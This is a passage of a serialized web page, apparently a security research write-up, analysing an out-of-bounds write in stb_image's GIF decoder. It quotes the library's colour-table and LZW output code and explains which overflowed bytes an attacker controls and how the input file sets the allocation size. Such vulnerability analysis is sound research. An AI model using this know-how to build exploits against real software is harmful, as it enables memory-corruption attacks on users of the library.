}\n",[147720],{"type":23,"tag":92,"props":147721,"children":147722},{"__ignoreMap":7},[147723,147762,147769,147776,147783,147826,147857,147901,147908,147976,148016,148061,148100,148139,148178],{"type":23,"tag":134,"props":147724,"children":147725},{"class":136,"line":137},[147726,147730,147734,147738,147742,147746,147750,147754,147758],{"type":23,"tag":134,"props":147727,"children":147728},{"style":151},[147729],{"type":28,"value":50550},{"type":23,"tag":134,"props":147731,"children":147732},{"style":151},[147733],{"type":28,"value":50555},{"type":23,"tag":134,"props":147735,"children":147736},{"style":264},[147737],{"type":28,"value":147334},{"type":23,"tag":134,"props":147739,"children":147740},{"style":179},[147741],{"type":28,"value":147339},{"type":23,"tag":134,"props":147743,"children":147744},{"style":168},[147745],{"type":28,"value":1777},{"type":23,"tag":134,"props":147747,"children":147748},{"style":162},[147749],{"type":28,"value":108810},{"type":23,"tag":134,"props":147751,"children":147752},{"style":179},[147753],{"type":28,"value":147352},{"type":23,"tag":134,"props":147755,"children":147756},{"style":162},[147757],{"type":28,"value":92},{"type":23,"tag":134,"props":147759,"children":147760},{"style":179},[147761],{"type":28,"value":329},{"type":23,"tag":134,"props":147763,"children":147764},{"class":136,"line":147},[147765],{"type":23,"tag":134,"props":147766,"children":147767},{"style":179},[147768],{"type":28,"value":10346},{"type":23,"tag":134,"props":147770,"children":147771},{"class":136,"line":185},[147772],{"type":23,"tag":134,"props":147773,"children":147774},{"style":179},[147775],{"type":28,"value":147421},{"type":23,"tag":134,"props":147777,"children":147778},{"class":136,"line":221},[147779],{"type":23,"tag":134,"props":147780,"children":147781},{"emptyLinePlaceholder":15},[147782],{"type":28,"value":865},{"type":23,"tag":134,"props":147784,"children":147785},{"class":136,"line":332},[147786,147790,147794,147798,147802,147806,147810,147814,147818,147822],{"type":23,"tag":134,"props":147787,"children":147788},{"style":179},[147789],{"type":28,"value":147497},{"type":23,"tag":134,"props":147791,"children":147792},{"style":168},[147793],{"type":28,"value":257},{"type":23,"tag":134,"props":147795,"children":147796},{"style":162},[147797],{"type":28,"value":147461},{"type":23,"tag":134,"props":147799,"children":147800},{"style":179},[147801],{"type":28,"value":13225},{"type":23,"tag":134,"props":147803,"children":147804},{"style":162},[147805],{"type":28,"value":147514},{"type":23,"tag":134,"props":147807,"children":147808},{"style":168},[147809],{"type":28,"value":8365},{"type":23,"tag":134,"props":147811,"children":147812},{"style":162},[147813],{"type":28,"value":147461},{"type":23,"tag":134,"props":147815,"children":147816},{"style":179},[147817],{"type":28,"value":13225},{"type":23,"tag":134,"props":147819,"children":147820},{"style":162},[147821],{"type":28,"value":147452},{"type":23,"tag":134,"props":147823,"children":147824},{"style":179},[147825],{"type":28,"value":147535},{"type":23,"tag":134,"props":147827,"children":147828},{"class":136,"line":438},[147829,147833,147837,147841,147845,147849,147853],{"type":23,"tag":134,"props":147830,"children":147831},{"style":179},[147832],{"type":28,"value":147543},{"type":23,"tag":134,"props":147834,"children":147835},{"style":168},[147836],{"type":28,"value":257},{"type":23,"tag":134,"props":147838,"children":147839},{"style":168},[147840],{"type":28,"value":6599},{"type":23,"tag":134,"props":147842,"children":147843},{"style":162},[147844],{"type":28,"value":108810},{"type":23,"tag":134,"props":147846,"children":147847},{"style":179},[147848],{"type":28,"value":13225},{"type":23,"tag":134,"props":147850,"children":147851},{"style":162},[147852],{"type":28,"value":118233},{"type":23,"tag":134,"props":147854,"children":147855},{"style":179},[147856],{"type":28,"value":147568},{"type":23,"tag":134,"props":147858,"children":147859},{"class":136,"line":466},[147860,147864,147868,147872,147876,147880,147884,147888,147892,147896],{"type":23,"tag":134,"props":147861,"children":147862},{"style":162},[147863],{"type":28,"value":147576},{"type":23,"tag":134,"props":147865,"children":147866},{"style":179},[147867],{"type":28,"value":13225},{"type":23,"tag":134,"props":147869,"children":147870},{"style":162},[147871],{"type":28,"value":147585},{"type":23,"tag":134,"props":147873,"children":147874},{"style":179},[147875],{"type":28,"value":147590},{"type":23,"tag":134,"props":147877,"children":147878},{"style":168},[147879],{"type":28,"value":1787},{"type":23,"tag":134,"props":147881,"children":147882},{"style":205},[147883],{"type":28,"value":11212},{"type":23,"tag":134,"props":147885,"children":147886},{"style":179},[147887],{"type":28,"value":8121},{"type":23,"tag":134,"props":147889,"children":147890},{"style":168},[147891],{"type":28,"value":257},{"type":23,"tag":134,"props":147893,"children":147894},{"style":205},[147895],{"type":28,"value":1729},{"type":23,"tag":134,"props":147897,"children":147898},{"style":179},[147899],{"type":28,"value":147900},";  \n",{"type":23,"tag":134,"props":147902,"children":147903},{"class":136,"line":479},[147904],{"type":23,"tag":134,"props":147905,"children":147906},{"emptyLinePlaceholder":15},[147907],{"type":28,"value":865},{"type":23,"tag":134,"props":147909,"children":147910},{"class":136,"line":497},[147911,147916,147920,147924,147928,147932,147937,147941,147945,147949,147954,147959,147964,147968,147972],{"type":23,"tag":134,"props":147912,"children":147913},{"style":179},[147914],{"type":28,"value":147915},"   c ",{"type":23,"tag":134,"props":147917,"children":147918},{"style":168},[147919],{"type":28,"value":257},{"type":23,"tag":134,"props":147921,"children":147922},{"style":168},[147923],{"type":28,"value":6599},{"type":23,"tag":134,"props":147925,"children":147926},{"style":162},[147927],{"type":28,"value":108810},{"type":23,"tag":134,"props":147929,"children":147930},{"style":179},[147931],{"type":28,"value":13225},{"type":23,"tag":134,"props":147933,"children":147934},{"style":162},[147935],{"type":28,"value":147936},"color_table",{"type":23,"tag":134,"props":147938,"children":147939},{"style":179},[147940],{"type":28,"value":924},{"type":23,"tag":134,"props":147942,"children":147943},{"style":162},[147944],{"type":28,"value":108810},{"type":23,"tag":134,"props":147946,"children":147947},{"style":179},[147948],{"type":28,"value":13225},{"type":23,"tag":134,"props":147950,"children":147951},{"style":162},[147952],{"type":28,"value":147953},"codes",{"type":23,"tag":134,"props":147955,"children":147956},{"style":179},[147957],{"type":28,"value":147958},"[code].",{"type":23,"tag":134,"props":147960,"children":147961},{"style":162},[147962],{"type":28,"value":147963},"suffix",{"type":23,"tag":134,"props":147965,"children":147966},{"style":168},[147967],{"type":28,"value":9281},{"type":23,"tag":134,"props":147969,"children":147970},{"style":205},[147971],{"type":28,"value":11212},{"type":23,"tag":134,"props":147973,"children":147974},{"style":179},[147975],{"type":28,"value":31069},{"type":23,"tag":134,"props":147977,"children":147978},{"class":136,"line":518},[147979,147983,147987,147991,147995,147999,148003,148007,148012],{"type":23,"tag":134,"props":147980,"children":147981},{"style":189},[147982],{"type":28,"value":52150},{"type":23,"tag":134,"props":147984,"children":147985},{"style":179},[147986],{"type":28,"value":232},{"type":23,"tag":134,"props":147988,"children":147989},{"style":162},[147990],{"type":28,"value":315},{"type":23,"tag":134,"props":147992,"children":147993},{"style":179},[147994],{"type":28,"value":924},{"type":23,"tag":134,"props":147996,"children":147997},{"style":205},[147998],{"type":28,"value":16768},{"type":23,"tag":134,"props":148000,"children":148001},{"style":179},[148002],{"type":28,"value":8121},{"type":23,"tag":134,"props":148004,"children":148005},{"style":168},[148006],{"type":28,"value":9927},{"type":23,"tag":134,"props":148008,"children":148009},{"style":205},[148010],{"type":28,"value":148011}," 128",{"type":23,"tag":134,"props":148013,"children":148014},{"style":179},[148015],{"type":28,"value":14272},{"type":23,"tag":134,"props":148017,"children":148018},{"class":136,"line":527},[148019,148024,148028,148032,148036,148040,148044,148048,148052,148056],{"type":23,"tag":134,"props":148020,"children":148021},{"style":162},[148022],{"type":28,"value":148023},"      p",{"type":23,"tag":134,"props":148025,"children":148026},{"style":179},[148027],{"type":28,"value":924},{"type":23,"tag":134,"props":148029,"children":148030},{"style":205},[148031],{"type":28,"value":1224},{"type":23,"tag":134,"props":148033,"children":148034},{"style":179},[148035],{"type":28,"value":8121},{"type":23,"tag":134,"props":148037,"children":148038},{"style":168},[148039],{"type":28,"value":257},{"type":23,"tag":134,"props":148041,"children":148042},{"style":162},[148043],{"type":28,"value":36943},{"type":23,"tag":134,"props":148045,"children":148046},{"style":179},[148047],{"type":28,"value":924},{"type":23,"tag":134,"props":148049,"children":148050},{"style":205},[148051],{"type":28,"value":291},{"type":23,"tag":134,"props":148053,"children":148054},{"style":179},[148055],{"type":28,"value":55418},{"type":23,"tag":134,"props":148057,"children":148058},{"style":141},[148059],{"type":28,"value":148060},"        // OOB write\n",{"type":23,"tag":134,"props":148062,"children":148063},{"class":136,"line":780},[148064,148068,148072,148076,148080,148084,148088,148092,148096],{"type":23,"tag":134,"props":148065,"children":148066},{"style":162},[148067],{"type":28,"value":148023},{"type":23,"tag":134,"props":148069,"children":148070},{"style":179},[148071],{"type":28,"value":924},{"type":23,"tag":134,"props":148073,"children":148074},{"style":205},[148075],{"type":28,"value":1214},{"type":23,"tag":134,"props":148077,"children":148078},{"style":179},[148079],{"type":28,"value":8121},{"type":23,"tag":134,"props":148081,"children":148082},{"style":168},[148083],{"type":28,"value":257},{"type":23,"tag":134,"props":148085,"children":148086},{"style":162},[148087],{"type":28,"value":36943},{"type":23,"tag":134,"props":148089,"children":148090},{"style":179},[148091],{"type":28,"value":924},{"type":23,"tag":134,"props":148093,"children":148094},{"style":205},[148095],{"type":28,"value":1214},{"type":23,"tag":134,"props":148097,"children":148098},{"style":179},[148099],{"type":28,"value":31069},{"type":23,"tag":134,"props":148101,"children":148102},{"class":136,"line":797},[148103,148107,148111,148115,148119,148123,148127,148131,148135],{"type":23,"tag":134,"props":148104,"children":148105},{"style":162},[148106],{"type":28,"value":148023},{"type":23,"tag":134,"props":148108,"children":148109},{"style":179},[148110],{"type":28,"value":924},{"type":23,"tag":134,"props":148112,"children":148113},{"style":205},[148114],{"type":28,"value":291},{"type":23,"tag":134,"props":148116,"children":148117},{"style":179},[148118],{"type":28,"value":8121},{"type":23,"tag":134,"props":148120,"children":148121},{"style":168},[148122],{"type":28,"value":257},{"type":23,"tag":134,"props":148124,"children":148125},{"style":162},[148126],{"type":28,"value":36943},{"type":23,"tag":134,"props":148128,"children":148129},{"style":179},[148130],{"type":28,"value":924},{"type":23,"tag":134,"props":148132,"children":148133},{"style":205},[148134],{"type":28,"value":1224},{"type":23,"tag":134,"props":148136,"children":148137},{"style":179},[148138],{"type":28,"value":31069},{"type":23,"tag":134,"props":148140,"children":148141},{"class":136,"line":814},[148142,148146,148150,148154,148158,148162,148166,148170,148174],{"type":23,"tag":134,"props":148143,"children":148144},{"style":162},[148145],{"type":28,"value":148023},{"type":23,"tag":134,"props":148147,"children":148148},{"style":179},[148149],{"type":28,"value":924},{"type":23,"tag":134,"props":148151,"children":148152},{"style":205},[148153],{"type":28,"value":16768},{"type":23,"tag":134,"props":148155,"children":148156},{"style":179},[148157],{"type":28,"value":8121},{"type":23,"tag":134,"props":148159,"children":148160},{"style":168},[148161],{"type":28,"value":257},{"type":23,"tag":134,"props":148163,"children":148164},{"style":162},[148165],{"type":28,"value":36943},{"type":23,"tag":134,"props":148167,"children":148168},{"style":179},[148169],{"type":28,"value":924},{"type":23,"tag":134,"props":148171,"children":148172},{"style":205},[148173],{"type":28,"value":16768},{"type":23,"tag":134,"props":148175,"children":148176},{"style":179},[148177],{"type":28,"value":31069},{"type":23,"tag":134,"props":148179,"children":148180},{"class":136,"line":827},[148181],{"type":23,"tag":134,"props":148182,"children":148183},{"style":179},[148184],{"type":28,"value":34245},{"type":23,"tag":24,"props":148186,"children":148187},{},[148188,148190,148195,148197,148202],{"type":28,"value":148189},"This confirms ",{"type":23,"tag":92,"props":148191,"children":148193},{"className":148192},[],[148194],{"type":28,"value":76029},{"type":28,"value":148196}," is OOB for ",{"type":23,"tag":92,"props":148198,"children":148200},{"className":148199},[],[148201],{"type":28,"value":147680},{"type":28,"value":148203}," as well - here it results in a four-byte OOB write. A four-byte OOB write is still not trivial to exploit remotely, but it is meaningfully more dangerous than a single-byte OOB.",{"type":23,"tag":24,"props":148205,"children":148206},{},[148207,148209,148215,148217,148224],{"type":28,"value":148208},"We've read through the GIF parsing code to find out if the written values can be controlled, and found that ",{"type":23,"tag":92,"props":148210,"children":148212},{"className":148211},[],[148213],{"type":28,"value":148214},"g->color_table",{"type":28,"value":148216}," is populated by ",{"type":23,"tag":31,"props":148218,"children":148221},{"href":148219,"rel":148220},"https://github.com/nothings/stb/blob/f1f077b2722f55e158cba020f0312ee2d13c463a/stb_image.h#L6166-L6175",[35],[148222],{"type":28,"value":148223},"stbi__gif_parse_colortable",{"type":28,"value":1697},{"type":23,"tag":87,"props":148226,"children":148228},{"code":148227,"language":315,"meta":7,"className":15985,"style":7},"static void stbi__gif_parse_colortable(\n    stbi__context *s,\n    stbi_uc pal[256][4],    // g->color_table\n    int num_entries,\n    int transp\n) {\n   int i;\n   for (i=0; i \u003C num_entries; ++i) {\n      pal[i][2] = stbi__get8(s);\n      pal[i][1] = stbi__get8(s);\n      pal[i][0] = stbi__get8(s);\n      pal[i][3] = transp == i ? 0 : 255;\n   }\n}\n",[148229],{"type":23,"tag":92,"props":148230,"children":148231},{"__ignoreMap":7},[148232,148252,148272,148311,148327,148339,148346,148357,148400,148434,148465,148496,148553,148560],{"type":23,"tag":134,"props":148233,"children":148234},{"class":136,"line":137},[148235,148239,148243,148248],{"type":23,"tag":134,"props":148236,"children":148237},{"style":151},[148238],{"type":28,"value":50550},{"type":23,"tag":134,"props":148240,"children":148241},{"style":151},[148242],{"type":28,"value":50555},{"type":23,"tag":134,"props":148244,"children":148245},{"style":264},[148246],{"type":28,"value":148247}," stbi__gif_parse_colortable",{"type":23,"tag":134,"props":148249,"children":148250},{"style":179},[148251],{"type":28,"value":642},{"type":23,"tag":134,"props":148253,"children":148254},{"class":136,"line":147},[148255,148260,148264,148268],{"type":23,"tag":134,"props":148256,"children":148257},{"style":179},[148258],{"type":28,"value":148259},"    stbi__context ",{"type":23,"tag":134,"props":148261,"children":148262},{"style":168},[148263],{"type":28,"value":1777},{"type":23,"tag":134,"props":148265,"children":148266},{"style":162},[148267],{"type":28,"value":10117},{"type":23,"tag":134,"props":148269,"children":148270},{"style":179},[148271],{"type":28,"value":687},{"type":23,"tag":134,"props":148273,"children":148274},{"class":136,"line":185},[148275,148280,148285,148289,148293,148297,148301,148306],{"type":23,"tag":134,"props":148276,"children":148277},{"style":179},[148278],{"type":28,"value":148279},"    stbi_uc ",{"type":23,"tag":134,"props":148281,"children":148282},{"style":162},[148283],{"type":28,"value":148284},"pal",{"type":23,"tag":134,"props":148286,"children":148287},{"style":179},[148288],{"type":28,"value":924},{"type":23,"tag":134,"props":148290,"children":148291},{"style":205},[148292],{"type":28,"value":92807},{"type":23,"tag":134,"props":148294,"children":148295},{"style":179},[148296],{"type":28,"value":48463},{"type":23,"tag":134,"props":148298,"children":148299},{"style":205},[148300],{"type":28,"value":17001},{"type":23,"tag":134,"props":148302,"children":148303},{"style":179},[148304],{"type":28,"value":148305},"],",{"type":23,"tag":134,"props":148307,"children":148308},{"style":141},[148309],{"type":28,"value":148310},"    // g->color_table\n",{"type":23,"tag":134,"props":148312,"children":148313},{"class":136,"line":221},[148314,148318,148323],{"type":23,"tag":134,"props":148315,"children":148316},{"style":151},[148317],{"type":28,"value":18553},{"type":23,"tag":134,"props":148319,"children":148320},{"style":162},[148321],{"type":28,"value":148322}," num_entries",{"type":23,"tag":134,"props":148324,"children":148325},{"style":179},[148326],{"type":28,"value":687},{"type":23,"tag":134,"props":148328,"children":148329},{"class":136,"line":332},[148330,148334],{"type":23,"tag":134,"props":148331,"children":148332},{"style":151},[148333],{"type":28,"value":18553},{"type":23,"tag":134,"props":148335,"children":148336},{"style":179},[148337],{"type":28,"value":148338}," transp\n",{"type":23,"tag":134,"props":148340,"children":148341},{"class":136,"line":438},[148342],{"type":23,"tag":134,"props":148343,"children":148344},{"style":179},[148345],{"type":28,"value":14272},{"type":23,"tag":134,"props":148347,"children":148348},{"class":136,"line":466},[148349,148353],{"type":23,"tag":134,"props":148350,"children":148351},{"style":151},[148352],{"type":28,"value":147401},{"type":23,"tag":134,"props":148354,"children":148355},{"style":179},[148356],{"type":28,"value":57471},{"type":23,"tag":134,"props":148358,"children":148359},{"class":136,"line":479},[148360,148365,148370,148374,148378,148382,148386,148391,148395],{"type":23,"tag":134,"props":148361,"children":148362},{"style":189},[148363],{"type":28,"value":148364},"   for",{"type":23,"tag":134,"props":148366,"children":148367},{"style":179},[148368],{"type":28,"value":148369}," (i",{"type":23,"tag":134,"props":148371,"children":148372},{"style":168},[148373],{"type":28,"value":257},{"type":23,"tag":134,"props":148375,"children":148376},{"style":205},[148377],{"type":28,"value":1224},{"type":23,"tag":134,"props":148379,"children":148380},{"style":179},[148381],{"type":28,"value":50739},{"type":23,"tag":134,"props":148383,"children":148384},{"style":168},[148385],{"type":28,"value":5262},{"type":23,"tag":134,"props":148387,"children":148388},{"style":179},[148389],{"type":28,"value":148390}," num_entries; ",{"type":23,"tag":134,"props":148392,"children":148393},{"style":168},[148394],{"type":28,"value":50775},{"type":23,"tag":134,"props":148396,"children":148397},{"style":179},[148398],{"type":28,"value":148399},"i) {\n",{"type":23,"tag":134,"props":148401,"children":148402},{"class":136,"line":497},[148403,148408,148412,148416,148420,148424,148429],{"type":23,"tag":134,"props":148404,"children":148405},{"style":162},[148406],{"type":28,"value":148407},"      pal",{"type":23,"tag":134,"props":148409,"children":148410},{"style":179},[148411],{"type":28,"value":60162},{"type":23,"tag":134,"props":148413,"children":148414},{"style":205},[148415],{"type":28,"value":291},{"type":23,"tag":134,"props":148417,"children":148418},{"style":179},[148419],{"type":28,"value":8121},{"type":23,"tag":134,"props":148421,"children":148422},{"style":168},[148423],{"type":28,"value":257},{"type":23,"tag":134,"props":148425,"children":148426},{"style":264},[148427],{"type":28,"value":148428}," stbi__get8",{"type":23,"tag":134,"props":148430,"children":148431},{"style":179},[148432],{"type":28,"value":148433},"(s);\n",{"type":23,"tag":134,"props":148435,"children":148436},{"class":136,"line":518},[148437,148441,148445,148449,148453,148457,148461],{"type":23,"tag":134,"props":148438,"children":148439},{"style":162},[148440],{"type":28,"value":148407},{"type":23,"tag":134,"props":148442,"children":148443},{"style":179},[148444],{"type":28,"value":60162},{"type":23,"tag":134,"props":148446,"children":148447},{"style":205},[148448],{"type":28,"value":1214},{"type":23,"tag":134,"props":148450,"children":148451},{"style":179},[148452],{"type":28,"value":8121},{"type":23,"tag":134,"props":148454,"children":148455},{"style":168},[148456],{"type":28,"value":257},{"type":23,"tag":134,"props":148458,"children":148459},{"style":264},[148460],{"type":28,"value":148428},{"type":23,"tag":134,"props":148462,"children":148463},{"style":179},[148464],{"type":28,"value":148433},{"type":23,"tag":134,"props":148466,"children":148467},{"class":136,"line":527},[148468,148472,148476,148480,148484,148488,148492],{"type":23,"tag":134,"props":148469,"children":148470},{"style":162},[148471],{"type":28,"value":148407},{"type":23,"tag":134,"props":148473,"children":148474},{"style":179},[148475],{"type":28,"value":60162},{"type":23,"tag":134,"props":148477,"children":148478},{"style":205},[148479],{"type":28,"value":1224},{"type":23,"tag":134,"props":148481,"children":148482},{"style":179},[148483],{"type":28,"value":8121},{"type":23,"tag":134,"props":148485,"children":148486},{"style":168},[148487],{"type":28,"value":257},{"type":23,"tag":134,"props":148489,"children":148490},{"style":264},[148491],{"type":28,"value":148428},{"type":23,"tag":134,"props":148493,"children":148494},{"style":179},[148495],{"type":28,"value":148433},{"type":23,"tag":134,"props":148497,"children":148498},{"class":136,"line":780},[148499,148503,148507,148511,148515,148519,148524,148528,148532,148536,148540,148544,148549],{"type":23,"tag":134,"props":148500,"children":148501},{"style":162},[148502],{"type":28,"value":148407},{"type":23,"tag":134,"props":148504,"children":148505},{"style":179},[148506],{"type":28,"value":60162},{"type":23,"tag":134,"props":148508,"children":148509},{"style":205},[148510],{"type":28,"value":16768},{"type":23,"tag":134,"props":148512,"children":148513},{"style":179},[148514],{"type":28,"value":8121},{"type":23,"tag":134,"props":148516,"children":148517},{"style":168},[148518],{"type":28,"value":257},{"type":23,"tag":134,"props":148520,"children":148521},{"style":179},[148522],{"type":28,"value":148523}," transp ",{"type":23,"tag":134,"props":148525,"children":148526},{"style":168},[148527],{"type":28,"value":8035},{"type":23,"tag":134,"props":148529,"children":148530},{"style":179},[148531],{"type":28,"value":54050},{"type":23,"tag":134,"props":148533,"children":148534},{"style":168},[148535],{"type":28,"value":324},{"type":23,"tag":134,"props":148537,"children":148538},{"style":205},[148539],{"type":28,"value":208},{"type":23,"tag":134,"props":148541,"children":148542},{"style":168},[148543],{"type":28,"value":34613},{"type":23,"tag":134,"props":148545,"children":148546},{"style":205},[148547],{"type":28,"value":148548}," 255",{"type":23,"tag":134,"props":148550,"children":148551},{"style":179},[148552],{"type":28,"value":182},{"type":23,"tag":134,"props":148554,"children":148555},{"class":136,"line":797},[148556],{"type":23,"tag":134,"props":148557,"children":148558},{"style":179},[148559],{"type":28,"value":34245},{"type":23,"tag":134,"props":148561,"children":148562},{"class":136,"line":814},[148563],{"type":23,"tag":134,"props":148564,"children":148565},{"style":179},[148566],{"type":28,"value":1098},{"type":23,"tag":24,"props":148568,"children":148569},{},[148570,148572,148577,148578,148583,148585,148590],{"type":28,"value":148571},"The first three bytes are read from the input image, while the last byte can be either ",{"type":23,"tag":92,"props":148573,"children":148575},{"className":148574},[],[148576],{"type":28,"value":1224},{"type":28,"value":12601},{"type":23,"tag":92,"props":148579,"children":148581},{"className":148580},[],[148582],{"type":28,"value":112855},{"type":28,"value":148584},". But as we've seen previously, the OOB write only happens if the last byte is more than ",{"type":23,"tag":92,"props":148586,"children":148588},{"className":148587},[],[148589],{"type":28,"value":29341},{"type":28,"value":1697},{"type":23,"tag":87,"props":148592,"children":148594},{"code":148593,"language":315,"meta":7,"className":15985,"style":7},"   c = &g->color_table[g->codes[code].suffix * 4];\n   if (c[3] > 128) {\n      p[0] = c[2];\n      p[1] = c[1];\n      p[2] = c[0];\n      p[3] = c[3];\n   }\n",[148595],{"type":23,"tag":92,"props":148596,"children":148597},{"__ignoreMap":7},[148598,148661,148700,148739,148778,148817,148856],{"type":23,"tag":134,"props":148599,"children":148600},{"class":136,"line":137},[148601,148605,148609,148613,148617,148621,148625,148629,148633,148637,148641,148645,148649,148653,148657],{"type":23,"tag":134,"props":148602,"children":148603},{"style":179},[148604],{"type":28,"value":147915},{"type":23,"tag":134,"props":148606,"children":148607},{"style":168},[148608],{"type":28,"value":257},{"type":23,"tag":134,"props":148610,"children":148611},{"style":168},[148612],{"type":28,"value":6599},{"type":23,"tag":134,"props":148614,"children":148615},{"style":179},[148616],{"type":28,"value":108810},{"type":23,"tag":134,"props":148618,"children":148619},{"style":168},[148620],{"type":28,"value":13225},{"type":23,"tag":134,"props":148622,"children":148623},{"style":162},[148624],{"type":28,"value":147936},{"type":23,"tag":134,"props":148626,"children":148627},{"style":179},[148628],{"type":28,"value":924},{"type":23,"tag":134,"props":148630,"children":148631},{"style":162},[148632],{"type":28,"value":108810},{"type":23,"tag":134,"props":148634,"children":148635},{"style":179},[148636],{"type":28,"value":13225},{"type":23,"tag":134,"props":148638,"children":148639},{"style":162},[148640],{"type":28,"value":147953},{"type":23,"tag":134,"props":148642,"children":148643},{"style":179},[148644],{"type":28,"value":147958},{"type":23,"tag":134,"props":148646,"children":148647},{"style":162},[148648],{"type":28,"value":147963},{"type":23,"tag":134,"props":148650,"children":148651},{"style":168},[148652],{"type":28,"value":9281},{"type":23,"tag":134,"props":148654,"children":148655},{"style":205},[148656],{"type":28,"value":11212},{"type":23,"tag":134,"props":148658,"children":148659},{"style":179},[148660],{"type":28,"value":31069},{"type":23,"tag":134,"props":148662,"children":148663},{"class":136,"line":147},[148664,148668,148672,148676,148680,148684,148688,148692,148696],{"type":23,"tag":134,"props":148665,"children":148666},{"style":189},[148667],{"type":28,"value":52150},{"type":23,"tag":134,"props":148669,"children":148670},{"style":179},[148671],{"type":28,"value":232},{"type":23,"tag":134,"props":148673,"children":148674},{"style":162},[148675],{"type":28,"value":315},{"type":23,"tag":134,"props":148677,"children":148678},{"style":179},[148679],{"type":28,"value":924},{"type":23,"tag":134,"props":148681,"children":148682},{"style":205},[148683],{"type":28,"value":16768},{"type":23,"tag":134,"props":148685,"children":148686},{"style":179},[148687],{"type":28,"value":8121},{"type":23,"tag":134,"props":148689,"children":148690},{"style":168},[148691],{"type":28,"value":9927},{"type":23,"tag":134,"props":148693,"children":148694},{"style":205},[148695],{"type":28,"value":148011},{"type":23,"tag":134,"props":148697,"children":148698},{"style":179},[148699],{"type":28,"value":14272},{"type":23,"tag":134,"props":148701,"children":148702},{"class":136,"line":185},[148703,148707,148711,148715,148719,148723,148727,148731,148735],{"type":23,"tag":134,"props":148704,"children":148705},{"style":162},[148706],{"type":28,"value":148023},{"type":23,"tag":134,"props":148708,"children":148709},{"style":179},[148710],{"type":28,"value":924},{"type":23,"tag":134,"props":148712,"children":148713},{"style":205},[148714],{"type":28,"value":1224},{"type":23,"tag":134,"props":148716,"children":148717},{"style":179},[148718],{"type":28,"value":8121},{"type":23,"tag":134,"props":148720,"children":148721},{"style":168},[148722],{"type":28,"value":257},{"type":23,"tag":134,"props":148724,"children":148725},{"style":162},[148726],{"type":28,"value":36943},{"type":23,"tag":134,"props":148728,"children":148729},{"style":179},[148730],{"type":28,"value":924},{"type":23,"tag":134,"props":148732,"children":148733},{"style":205},[148734],{"type":28,"value":291},{"type":23,"tag":134,"props":148736,"children":148737},{"style":179},[148738],{"type":28,"value":31069},{"type":23,"tag":134,"props":148740,"children":148741},{"class":136,"line":221},[148742,148746,148750,148754,148758,148762,148766,148770,148774],{"type":23,"tag":134,"props":148743,"children":148744},{"style":162},[148745],{"type":28,"value":148023},{"type":23,"tag":134,"props":148747,"children":148748},{"style":179},[148749],{"type":28,"value":924},{"type":23,"tag":134,"props":148751,"children":148752},{"style":205},[148753],{"type":28,"value":1214},{"type":23,"tag":134,"props":148755,"children":148756},{"style":179},[148757],{"type":28,"value":8121},{"type":23,"tag":134,"props":148759,"children":148760},{"style":168},[148761],{"type":28,"value":257},{"type":23,"tag":134,"props":148763,"children":148764},{"style":162},[148765],{"type":28,"value":36943},{"type":23,"tag":134,"props":148767,"children":148768},{"style":179},[148769],{"type":28,"value":924},{"type":23,"tag":134,"props":148771,"children":148772},{"style":205},[148773],{"type":28,"value":1214},{"type":23,"tag":134,"props":148775,"children":148776},{"style":179},[148777],{"type":28,"value":31069},{"type":23,"tag":134,"props":148779,"children":148780},{"class":136,"line":332},[148781,148785,148789,148793,148797,148801,148805,148809,148813],{"type":23,"tag":134,"props":148782,"children":148783},{"style":162},[148784],{"type":28,"value":148023},{"type":23,"tag":134,"props":148786,"children":148787},{"style":179},[148788],{"type":28,"value":924},{"type":23,"tag":134,"props":148790,"children":148791},{"style":205},[148792],{"type":28,"value":291},{"type":23,"tag":134,"props":148794,"children":148795},{"style":179},[148796],{"type":28,"value":8121},{"type":23,"tag":134,"props":148798,"children":148799},{"style":168},[148800],{"type":28,"value":257},{"type":23,"tag":134,"props":148802,"children":148803},{"style":162},[148804],{"type":28,"value":36943},{"type":23,"tag":134,"props":148806,"children":148807},{"style":179},[148808],{"type":28,"value":924},{"type":23,"tag":134,"props":148810,"children":148811},{"style":205},[148812],{"type":28,"value":1224},{"type":23,"tag":134,"props":148814,"children":148815},{"style":179},[148816],{"type":28,"value":31069},{"type":23,"tag":134,"props":148818,"children":148819},{"class":136,"line":438},[148820,148824,148828,148832,148836,148840,148844,148848,148852],{"type":23,"tag":134,"props":148821,"children":148822},{"style":162},[148823],{"type":28,"value":148023},{"type":23,"tag":134,"props":148825,"children":148826},{"style":179},[148827],{"type":28,"value":924},{"type":23,"tag":134,"props":148829,"children":148830},{"style":205},[148831],{"type":28,"value":16768},{"type":23,"tag":134,"props":148833,"children":148834},{"style":179},[148835],{"type":28,"value":8121},{"type":23,"tag":134,"props":148837,"children":148838},{"style":168},[148839],{"type":28,"value":257},{"type":23,"tag":134,"props":148841,"children":148842},{"style":162},[148843],{"type":28,"value":36943},{"type":23,"tag":134,"props":148845,"children":148846},{"style":179},[148847],{"type":28,"value":924},{"type":23,"tag":134,"props":148849,"children":148850},{"style":205},[148851],{"type":28,"value":16768},{"type":23,"tag":134,"props":148853,"children":148854},{"style":179},[148855],{"type":28,"value":31069},{"type":23,"tag":134,"props":148857,"children":148858},{"class":136,"line":466},[148859],{"type":23,"tag":134,"props":148860,"children":148861},{"style":179},[148862],{"type":28,"value":34245},{"type":23,"tag":24,"props":148864,"children":148865},{},[148866,148867,148872,148874,148879,148881,148886],{"type":28,"value":23505},{"type":23,"tag":92,"props":148868,"children":148870},{"className":148869},[],[148871],{"type":28,"value":148223},{"type":28,"value":148873}," has to set the last byte to ",{"type":23,"tag":92,"props":148875,"children":148877},{"className":148876},[],[148878],{"type":28,"value":112855},{"type":28,"value":148880}," in order for the four-byte OOB write to happen, meaning we can control the first three bytes of the overflow while the last byte will always be ",{"type":23,"tag":92,"props":148882,"children":148884},{"className":148883},[],[148885],{"type":28,"value":112855},{"type":28,"value":720},{"type":23,"tag":24,"props":148888,"children":148889},{},[148890,148892,148897,148899,148905,148906,148912],{"type":28,"value":148891},"In the code we can see that size of the ",{"type":23,"tag":92,"props":148893,"children":148895},{"className":148894},[],[148896],{"type":28,"value":147680},{"type":28,"value":148898}," allocation is controlled through ",{"type":23,"tag":92,"props":148900,"children":148902},{"className":148901},[],[148903],{"type":28,"value":148904},"g->w",{"type":28,"value":10458},{"type":23,"tag":92,"props":148907,"children":148909},{"className":148908},[],[148910],{"type":28,"value":148911},"g->h",{"type":28,"value":148913}," values, both of which are read from the input file itself:",{"type":23,"tag":87,"props":148915,"children":148917},{"code":148916,"language":315,"meta":7,"className":15985,"style":7},"static stbi_uc *stbi__gif_load_next(...)\n{\n   [...]\n   if (g->out == 0) {\n      if (!stbi__gif_header(s, g, comp,0))     return 0;\n      g->out = 